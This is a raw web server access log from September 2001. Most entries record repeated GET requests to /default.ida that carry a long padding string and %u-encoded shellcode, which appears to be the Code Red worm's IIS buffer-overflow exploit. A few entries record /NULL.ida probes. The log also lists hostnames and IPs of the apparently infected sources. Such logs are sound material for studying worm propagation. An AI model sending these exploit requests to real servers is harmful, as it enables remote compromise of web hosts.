/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 00:12:31: [218.2.150.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 01:52:27: dynamic-addr-94-89.resnet.rochester.edu [128.151.94.89] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 03:21:08: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 03:46:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 05:45:24: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 06:02:12: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 06:40:03: [203.199.150.15] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 06:52:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 06:54:44: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 08:42:21: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 08:54:07: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 10:05:03: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 10:08:15: [128.134.25.102] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 10:37:02: [128.134.8.28] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 10:44:08: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 11:35:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 12:08:38: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 12:27:52: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 12:31:31: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 13:26:38: merlin.cc.columbia.edu [128.59.39.247] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1" 20010904 13:31:09: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 14:02:25: merlin.cc.columbia.edu [128.59.39.247] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1" 20010904 14:22:04: [61.150.137.4] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 16:19:54: curta.cc.columbia.edu [128.59.39.150] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1" 20010904 16:45:56: yogh.cc.columbia.edu [128.59.39.11] "GET / HTTP/1.0" 20010904 16:50:43: yogh.cc.columbia.edu [128.59.39.11] "GET / HTTP/1.0" 20010904 17:04:36: syru219-194.syr.edu [128.230.219.194] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 20:26:46: bootp-141-225.bootp.Virginia.EDU [128.143.141.225] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010904 21:35:11: 61-218-143-202.HINET-IP.hinet.net [61.218.143.202] "" 20010904 23:03:55: r62h59.res.gatech.edu [128.61.62.59] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 00:00:20: [211.101.197.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 00:26:41: *216.205.78.34:4445 [] "" 20010905 04:48:12: oilers.bli.uci.edu [128.200.57.154] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 05:18:01: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 05:29:46: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 05:33:29: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 05:38:30: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 05:40:51: [206.156.158.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 07:04:38: lucre.tcom.purdue.edu [128.211.159.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 10:50:25: tletl.ics.uci.edu [128.200.38.187] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 11:00:39: [213.26.56.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 13:47:16: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 13:52:40: bus205-235.gsb.columbia.edu [128.59.205.235] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010905 14:06:21: bus205-235.gsb.columbia.edu [128.59.205.235] "GET 